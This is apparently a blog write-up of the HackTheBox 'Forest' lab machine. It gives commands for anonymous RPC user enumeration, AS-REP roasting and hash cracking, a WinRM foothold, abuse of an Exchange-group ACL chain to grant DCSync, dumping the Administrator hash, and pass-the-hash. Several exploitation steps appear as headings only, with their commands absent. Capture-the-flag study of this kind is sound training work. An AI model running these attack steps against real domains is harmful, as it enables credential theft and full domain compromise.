Forest — HackTheBox Machine Writeup
Discovered Windows Server 2016 Domain Controller. Enumerated domain users anonymously via RPC.
Extracted the AS-REP hash for svc-alfresco (pre-auth disabled) and cracked it offline for a WinRM foothold.
Ran pharaohound to analyze the domain graph, identifying a critical ACL abuse chain via Exchange Windows Permissions.
Added a new user to Exchange Windows Permissions, abused WriteDacl to grant DCSync rights, and dumped the Administrator hash.
Service Enumeration
::Nmap Scan
asbawy@kali:~$ nmap -sC -sV -p- -T4 -Pn 10.129.95.210 -oN scans/nmap-full.txt
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Key Observation: This is a Windows Server 2016 Domain Controller (hostname: FOREST, domain: htb.local). WinRM on port 5985 is open — this will be our foothold and lateral movement channel.
::RPC Username Enumeration
Since this is a Domain Controller, we can enumerate domain users anonymously via RPC:
asbawy@kali:~$ rpcclient -U "" -N 10.129.95.210 -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Target Identified: svc-alfresco is a service account — prime candidate for Kerberos attacks. Also note the Exchange-related infrastructure hints (Exchange Windows Permissions groups exist in the domain).
Initial Access — AS-REP Roasting
::AS-REP Roast Attack
svc-alfresco has Kerberos pre-authentication disabled (UF_DONT_REQUIRE_PREAUTH). This means anyone can request an AS-REP for this account and crack the encrypted timestamp offline:
asbawy@kali:~$ impacket-GetNPUsers 'htb.local/' -request -dc-ip 10.129.95.210 -format hashcat -outputfile loot/hashes.asreproast
Name MemberOf UAC
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 0x410200
$krb5asrep$23$svc-alfresco@HTB.LOCAL:82e594b127490167...[truncated]
::Cracking the Hash
asbawy@kali:~$ hashcat -m 18200 loot/hashes.asreproast /usr/share/wordlists/rockyou.txt --force -O
::Verify Credentials
asbawy@kali:~$ crackmapexec winrm 10.129.95.210 -u svc-alfresco -p 's3rvice'
WINRM 10.129.95.210 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
::Foothold — Evil-WinRM
asbawy@kali:~$ evil-winrm -i 10.129.95.210 -u svc-alfresco -p 's3rvice'
Vulnerability Analysis with Pharaohound
This is where we pivot from manual enumeration to automated AD attack path analysis.
Why pharaohound over BloodHound? pharaohound eliminates the Neo4j database + BloodHound GUI overhead. It has its own LDAP collector, streams JSON files with parallel workers, and generates copy-paste-ready exploitation commands — no graph queries, no Neo4j OOM crashes, no manual path hunting.
::Collection
asbawy@kali:~$ pharaohound collect
-t 10.129.95.210
-u svc-alfresco
-p 's3rvice'
-d htb.local
--method All
--no-zip
-o pha-collect/
--timeout 30
Output:
pharaohound handled the legacy DC schema automatically. The retry mechanism dropped unsupported LAPS/msDS attributes and continued — 242 objects collected in under 2 seconds.
::Analysis
asbawy@kali:~$ pharaohound pha-collect/ -o pharaohound-report/ --format both --all --no-color
Key findings from the 30 analyzers:
::Attack Path Identification
pharaohound distilled the analysis into 3 prioritized attack paths:
The actual winning path (discovered through manual ACL inspection after pharaohound's infrastructure flagging) is:
pharaohound correctly flagged Exchange Windows Permissions as an infrastructure takeover primitive and Exchange Trusted Subsystem as a WriteDacl carrier. This directed our attention to the exact ACL chain needed.
Exploitation: ACL Abuse Chain
::Step 1: Verify Nested Group Memberships
svc-alfresco is nested into Account Operators via Service Accounts → Privileged IT Accounts.
::Step 2: Check Exchange Windows Permissions Rights
Using PowerView to verify that Exchange Windows Permissions has WriteDacl + DeleteTree on the domain:
WriteDacl on the domain object means any member of Exchange Windows Permissions can modify the domain's ACL to grant themselves DCSync rights.
::Step 3: Add to Exchange Windows Permissions
Since Account Operators has GenericAll on Exchange Windows Permissions:
Verify (requires new logon session):
::Step 4: Create a Fresh User for Clean Token
Group membership changes don't always propagate to the current Kerberos token. We create a fresh user to ensure clean token:
::Step 5: Grant DCSync via PowerView
Login as the new user and use PowerView's Add-DomainObjectAcl:
Verbose output confirms three GUIDs applied:
::Step 6: DCSync Attack
asbawy@kali:~$ impacket-secretsdump 'htb.local/pharaoh:Ph43a0h!@10.129.95.210' -just-dc-user administrator
::Step 7: Pass-the-Hash as Administrator
asbawy@kali:~$ evil-winrm -i 10.129.95.210 -u administrator -H '32693b11e6aa90eb43d32c72a07ceea6'
References

Red Team Consultant · Penetration Tester · Bug Bounty Hunter
Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.